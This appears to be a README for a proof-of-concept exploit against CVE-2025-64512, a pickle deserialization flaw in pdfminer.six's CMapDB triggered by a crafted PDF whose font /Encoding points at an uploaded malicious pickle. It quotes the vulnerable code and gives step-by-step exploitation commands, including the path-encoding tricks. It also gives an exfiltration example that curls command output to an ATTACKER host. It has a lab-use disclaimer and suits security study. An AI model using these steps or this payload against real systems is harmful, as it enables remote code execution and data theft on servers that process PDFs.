
PoC for CVE-2025-64512: pdfminer.six CMapDB pickle deserialization RCE via crafted PDF
CMapDB Deserialization PoCProof-of-Concept for a deserialization vulnerability in pdfminer.six
that leads to arbitrary code execution when parsing a crafted PDF.
PURPOSE / LEGAL DISCLAIMER This repository is provided for educational and authorized security research only. It reproduces a publicly disclosed, patched CVE. Do not use it against systems you do not own or lack written permission to test. The author is not responsible for any misuse. Intended environment: Hack The Box / VulnHub / local lab.
pdfminer.six before 2025050620250506In cmapdb.py, CMapDB._load_data() reads a CMap file whose name is
derived from a PDF font's /Encoding entry and passes the contents to
pickle.loads():
def _load_data(cls, name):
name = name.replace("\0", "")
filename = "%s.pickle.gz" % name
log.debug("loading: %r", name)
cmap_paths = (
os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
os.path.join(os.path.dirname(__file__), "cmap"),
)
for directory in cmap_paths:
path = os.path.join(directory, filename)
if os.path.exists(path):
gzfile = gzip.open(path)
try:
return type(str(name), (), pickle.loads(gzfile.read()))
finally:
gzfile.close()
raise CMapDB.CMapNotFound(name)
Three properties combine to make this exploitable:
pickle.loads() on attacker-controlled data -> arbitrary code execution.os.path.join() discards the
search directory and opens the file at that exact path..pickle.gz is appended automatically, so the path is given without
the extension.The exploit needs two files uploaded to the vulnerable web app:
payload.pickle.gz — a gzip-compressed pickle whose __reduce__
executes a command and returns a CMap-shaped dict (so parsing continues
cleanly after the payload fires).trigger.pdf — a minimal PDF using a Type0/CIDFont whose font
/Encoding points at the absolute path of the pickle (no extension).Two PDF-level details matter:
CMapDB.get_cmap() is only reached through a CIDFont (a Type0 font
with a DescendantFonts entry), not a plain Type1 font./ delimiter, so the encoded path must
start with #2f to preserve the leading slash of the absolute path.
Internal slashes are also #2f because / is a name delimiter.When the target parses the PDF (e.g. a background watcher calling
pdf2txt.py), CMapDB._load_data() opens the pickle and executes the
command.
# 1. Build the malicious pickle (gzip-compressed)
python3 make_payload.py 'id; whoami' -o payload.pickle.gz
# 2. Build the trigger PDF pointing at the pickle's absolute path (no ext)
python3 make_trigger_pdf.py /var/www/research.bedside.htb/uploads/payload -o trigger.pdf
# 3. Upload both files to the vulnerable PDF upload form, then wait for
# the processing watcher to pick up trigger.pdf
Verified end-to-end against pdfminer.six 20250416 (vulnerable): running
pdf2txt.py trigger.pdf executes the payload command and exits 0.
The payload command is blind; exfiltrate via callback, e.g.:
python3 make_payload.py 'curl http://ATTACKER:8001/$(id|base64 -w0)' -o payload.pickle.gz
| File | Purpose |
|---|---|
make_payload.py | Generates the malicious payload.pickle.gz |
make_trigger_pdf.py | Generates the /Encoding trigger PDF with correct xref offsets |
20250506